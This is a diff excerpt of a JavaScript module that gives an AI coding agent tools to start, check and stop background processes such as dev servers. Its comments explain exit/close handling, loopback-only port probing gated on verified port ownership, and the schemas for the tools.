+ const child = spawnImpl(invocation.file, invocation.args, {
540
+ cwd: executor.root,
541
+ /**
542
+ * ⚠️ `childEnvironment` — a background process is a child like any
543
+ * other, and a long-running one that shells out to npm is the same
544
+ * escalation the one-shot road had. Given the argv so an npm dev server
545
+ * (`npm run dev`) keeps its pre/post hooks; see `childEnvironment`.
546
+ */
547
+ env: childEnvironment({ file: invocation.file, args: invocation.args }, env),
548
+ windowsHide: true,
549
+ // POSIX: its own process group, so a negative-pid kill reaches the tree.
550
+ detached: process.platform !== 'win32',
551
+ stdio: ['ignore', 'pipe', 'pipe'],
552
+ });
553
+ rec.child = child;
554
+ child.stdout?.setEncoding?.('utf8');
555
+ child.stderr?.setEncoding?.('utf8');
556
+ child.stdout?.on?.('data', (c) => record(rec, String(c)));
557
+ child.stderr?.on?.('data', (c) => record(rec, String(c)));
558
+ child.on?.('error', (e) => { record(rec, `\n[spawn error] ${e?.message ?? e}\n`); rec.running = false; });
559
+ /**
560
+ * ── ⚠️⚠️ `exit` RECORDS THE CODE; `close` DECIDES IT IS OVER ─────────────
561
+ *
562
+ * FOUND BY A FAILING TEST, and it would have been a miserable bug in the
563
+ * field. `exit` fires when the process ends — but its stdout and stderr may
564
+ * still hold buffered data, so a `check_process` racing in at that instant
565
+ * reports `running:false, exitCode:1` with **empty output**: the crash is
566
+ * announced and the reason for it is gone. That is the single most valuable
567
+ * moment this tool has, and it was the one that could arrive blank.
568
+ *
569
+ * `close` fires only after every stdio stream is drained, so treating THAT
570
+ * as "it is over" guarantees the exit code and the error message arrive
571
+ * together. `exit` still records the code, because `close` does not always
572
+ * carry it.
573
+ */
574
+ child.on?.('exit', (code, signal) => {
575
+ rec.exitCode = code;
576
+ rec.signal = signal;
577
+ });
578
+ child.on?.('close', (code, signal) => {
579
+ rec.running = false;
580
+ if (rec.exitCode === null) rec.exitCode = code;
581
+ if (!rec.signal) rec.signal = signal;
582
+ });
583
+
584
+ return {
585
+ ok: true,
586
+ id,
587
+ pid: child?.pid ?? null,
588
+ note: `started in the background as ${id}. It keeps running while you do other things. `
589
+ + `Call check_process {"id":"${id}"} in a later round to read its output and find out which port it bound — `
590
+ + 'a server usually needs a second or two before it is listening.',
591
+ };
592
+ } catch (e) {
593
+ live.delete(id);
594
+ return { ok: false, error: `could not start it: ${e?.message ?? e}` };
595
+ }
596
+ }
597
+
598
+ /**
599
+ * Is the port this process announced actually accepting connections?
600
+ *
601
+ * ⚠️ THE ONLY NETWORK CALL IN THIS FILE, AND IT IS BOUNDED THREE WAYS: loopback
602
+ * only, a port we started, and a timeout. It reports a REACHABILITY fact, never
603
+ * a body — this is not a back door to fetching pages.
604
+ */
605
+ async function probePort(port, { timeoutMs = PROBE_TIMEOUT_MS, fetchImpl = fetch } = {}) {
606
+ if (!Number.isInteger(port)) return null;
607
+ const ac = new AbortController();
608
+ const timer = setTimeout(() => ac.abort(), timeoutMs);
609
+ try {
610
+ const res = await fetchImpl(`http://127.0.0.1:${port}/`, { signal: ac.signal, redirect: 'manual' });
611
+ return { reachable: true, status: res.status };
612
+ } catch (e) {
613
+ return { reachable: false, why: e?.name === 'AbortError' ? 'no answer within the timeout' : (e?.message ?? String(e)) };
614
+ } finally {
615
+ clearTimeout(timer);
616
+ }
617
+ }
618
+
619
+ /**
620
+ * What a background process has done since it started.
621
+ * @returns {Promise<object>}
622
+ */
623
+ export async function checkBackground(id, { probe = probePort, verifyOwner = verifyPortOwner } = {}) {
624
+ const rec = live.get(id);
625
+ if (!rec) {
626
+ const known = [...live.keys()];
627
+ return {
628
+ ok: false,
629
+ error: known.length === 0
630
+ ? 'no background process with that id — none are running. Start one with start_process.'
631
+ : `no background process "${id}". Running now: ${known.join(', ')}.`,
632
+ };
633
+ }
634
+
635
+ const clamped = clampOutput(rec.log);
636
+ const out = {
637
+ ok: true,
638
+ id,
639
+ command: rec.command,
640
+ /** ⭐ Present only for the argv form, and it is the receipt: it shows each
641
+ * argument in its own slot, so a model can SEE that `--port 3005` arrived as
642
+ * two arguments to the script rather than as a node flag. */
643
+ ...(rec.argv ? { argv: rec.argv } : {}),
644
+ running: rec.running,
645
+ uptimeMs: Date.now() - rec.startedAt,
646
+ port: rec.port,
647
+ /**
648
+ * ⚠️ FLATTENED ON PURPOSE. `clampOutput` returns `{text, truncated,
649
+ * omitted}`, and passing that object straight through gives the model a
650
+ * nested shape to unwrap before it can read a stack trace — plus a second
651
+ * `truncated` beside it meaning something subtly different (the ring buffer
652
+ * dropped old lines vs this reply dropped the tail). One string, one flag.
653
+ */
654
+ output: clamped.text,
655
+ truncated: rec.truncated || clamped.truncated === true,
656
+ };
657
+
658
+ /**
659
+ * ⚠️⚠️ A PROCESS THAT DIED ON STARTUP MUST NOT READ AS "STARTING UP". This is
660
+ * the whole reason `check_process` reports an exit code rather than just
661
+ * `running:false`: a server that crashed because the port was taken and a
662
+ * server that is still booting look identical from the outside, and a model
663
+ * that cannot tell them apart waits politely forever for a dead process.
664
+ */
665
+ if (!rec.running) {
666
+ out.exitCode = rec.exitCode;
667
+ out.signal = rec.signal;
668
+ out.note = rec.exitCode === 0
669
+ ? 'it exited cleanly. If you expected a server, it stopped on its own — read the output above.'
670
+ : `it is NOT running: it exited with code ${rec.exitCode}${rec.signal ? ` (signal ${rec.signal})` : ''}. `
671
+ + 'This is a failure to fix, not a slow start — the output above is why.';
672
+ return out;
673
+ }
674
+
675
+ if (rec.port !== null) {
676
+ /**
677
+ * ── ⚠️⚠️ THE CLAIM IS CHECKED HERE, BEFORE ANYTHING TOUCHES THE NETWORK ──
678
+ *
679
+ * `rec.port` came out of the child's stdout, so a cloned repository chose
680
+ * it (see `detectPort`). Asking the OS who holds the port is what makes the
681
+ * module header's promise — "a port we started" — actually true.
682
+ *
683
+ * ⚠️ VERIFIED ONCE, THEN REMEMBERED. Each check spawns netstat/ps, and
684
+ * `check_process` is called every round while a server boots. A confirmed
685
+ * ownership does not change (the pid held it and we are still running), so
686
+ * it is cached; a NEGATIVE is not cached, because "nothing is listening
687
+ * yet" is the normal state of a server three seconds into starting.
688
+ */
689
+ if (rec.portOwned !== true) {
690
+ const v = verifyOwner(rec.port, rec.child?.pid ?? null);
691
+ rec.portOwned = v?.owned === true;
692
+ rec.portOwnerWhy = v?.why ?? 'unknown';
693
+ rec.portOwnerVerified = v?.verified === true;
694
+ }
695
+
696
+ out.portVerified = rec.portOwned === true;
697
+ if (!rec.portOwned) {
698
+ /**
699
+ * ⚠️ NO PROBE, AND THE REASON IS SAID OUT LOUD. Falling through to the
700
+ * probe "just to be helpful" is precisely the hole: one GET to a port a
701
+ * repository named is a service-existence oracle today, and the same
702
+ * number reaches `http-probe`'s POST path the day that module is wired.
703
+ */
704
+ out.note = `it is running, but the port in its output (${rec.port}) was NOT confirmed to belong to it: `
705
+ + `${rec.portOwnerWhy}. Nothing was probed. `
706
+ + 'If the server is still starting, check again in a later round.';
707
+ return out;
708
+ }
709
+
710
+ const p = await probe(rec.port);
711
+ out.probe = p;
712
+ out.url = `http://localhost:${rec.port}/`;
713
+ out.note = p?.reachable
714
+ ? `it is listening: HTTP ${p.status} on ${out.url}`
715
+ : `it announced port ${rec.port} but is not answering yet (${p?.why ?? 'unknown'}). Check again in a later round.`;
716
+ } else {
717
+ out.note = 'it is running but has not announced a port yet. If it is a server, check again in a later round; '
718
+ + 'if it is a watcher or a build, the output above is all there is.';
719
+ }
720
+ return out;
721
+ }
722
+
723
+ /** Stop one. Idempotent: stopping something already gone is a success. */
724
+ export function stopBackground(id) {
725
+ const rec = live.get(id);
726
+ if (!rec) return { ok: false, error: `no background process "${id}". Running now: ${[...live.keys()].join(', ') || '(none)'}.` };
727
+ try { killProcessTree(rec.child); } catch { /* already gone */ }
728
+ rec.running = false;
729
+ live.delete(id);
730
+ return { ok: true, id, stopped: true, output: clampOutput(rec.log).text };
731
+ }
732
+
733
+ /** For tests and for the summary — never mutate the returned array. */
734
+ export function listBackground() {
735
+ return [...live.values()].map((r) => ({
736
+ id: r.id, command: r.command, running: r.running, port: r.port, exitCode: r.exitCode,
737
+ /**
738
+ * ⚠️⚠️ CARRIED SO CONSUMERS CANNOT MISS IT. `http-probe.mjs` finds the
739
+ * owner of a port by matching `p.port === wantPort` against this list, and
740
+ * `port` alone is a number a cloned repository printed. Anything that opens
741
+ * a socket must require `portVerified === true`, not merely a match.
742
+ */
743
+ portVerified: r.portOwned === true,
744
+ }));
745
+ }
746
+
747
+ export const BACKGROUND_TOOL_NAMES = ['start_process', 'check_process', 'stop_process'];
748
+
749
+ export function backgroundToolSchemas() {
750
+ return [
751
+ {
752
+ type: 'function',
753
+ function: {
754
+ name: 'start_process',
755
+ description: [
756
+ 'Start a long-running command that KEEPS RUNNING while you do other things — a dev server,',
757
+ 'a watcher, a build in watch mode. Use this instead of run_command for anything that does not exit',
758
+ 'on its own: run_command waits for the process to finish and kills it at a timeout, so starting a',
759
+ 'server with it can only ever time out.',
760
+ 'TWO WAYS TO SAY WHAT TO START, and you must give exactly one.',
761
+ '(1) command: a plain string, e.g. "npm run dev" — same rules and allowlist as run_command, which',
762
+ 'means no shell, so a quote, a paren or a program flag like --port is refused.',
763
+ '(2) program + args: a REAL argument array, exactly like run_program — use this whenever any',
764
+ 'argument has a space, a quote or a leading dash. program "node", args ["server.mjs","--port","3005"]',
765
+ 'is how you start a server on a port you chose; args after the script path are passed to your',
766
+ 'program untouched. program "npm", args ["run","dev","--","--port","3005"] passes them to the script.',
767
+ 'Returns an id. Call check_process with that id in a LATER round to read its output and find out',
768
+ 'which port it bound. Everything started this way is killed automatically when this run ends.',
769
+ ].join(' '),
770
+ parameters: {
771
+ type: 'object',
772
+ properties: {
773
+ command: { type: 'string', description: 'The command as ONE string, e.g. "npm run dev". Same rules and allowlist as run_command. Leave this out if you are using program + args.' },
774
+ program: { type: 'string', enum: ['node', 'npm', 'npx', 'tsc'], description: 'The argv form: the program to run. Nothing else is reachable.' },
775
+ args: {
776
+ type: 'array',
777
+ items: { type: 'string' },
778
+ description: 'One argument per array item, e.g. ["server.mjs","--port","3005"] or ["run","dev","--","--host"]. Never put two arguments in one string.',
779
+ },
780
+ },
781
+ },
782
+ },
783
+ },
784
+ {
785
+ type: 'function',
786
+ function: {
787
+ name: 'check_process',
788
+ description: [
789
+ 'Read what a background process has printed, whether it is still running, and — if it announced',
790
+ 'a port — whether it is actually answering HTTP on localhost.',
791
+ 'This is how you find out that the server is up before you try to use it, and how you find out it',
792
+ 'died on startup instead of waiting for something that is never coming.',
793
+ ].join(' '),
794
+ parameters: {
795
+ type: 'object',
796
+ properties: { id: { type: 'string', description: 'The id returned by start_process, e.g. "bg1".' } },
797
+ required: ['id'],
798
+ },
799
+ },
800
+ },
801
+ {
802
+ type: 'function',
803
+ function: {
804
+ name: 'stop_process',
805
+ description: 'Stop a background process and everything it started. Returns its final output.',
806
+ parameters: {
807
+ type: 'object',
808
+ properties: { id: { type: 'string', description: 'The id returned by start_process.' } },
809
+ required: ['id'],
810
+ },
811
+ },
812
+ },
813
+ ];
814
+ }
815
+
816
+ /** Dispatch. Mirrors the shape every other tool module in this package uses. */
817
+ export async function runBackgroundTool(name, args = {}, { executor, shell = false, env = process.env } = {}) {
818
+ switch (name) {
819
+ case 'start_process':
820
+ /**
821
+ * ⚠️ NOT `String(args.command ?? '')` ANY MORE. Coercing an absent
822
+ * `command` to `''` made "no command given" indistinguishable from "the
823
+ * empty command", and with two input forms that difference is the whole
824
+ * decision — `startBackground` has to be able to see that the caller sent
825
+ * `program` instead. Passed through as-is; the refusals live there.
826
+ */
827
+ return startBackground({
828
+ command: args.command,
829
+ program: args.program,
830
+ args: args.args,
831
+ executor,
832
+ shell,
833
+ env,
834
+ });
835
+ case 'check_process':
836
+ return checkBackground(String(args.id ?? ''));
837
+ case 'stop_process':
838
+ return stopBackground(String(args.id ?? ''));
839
+ default:
840
+ return { ok: false, error: `unknown background tool "${name}"` };
841
+ }
842
+ }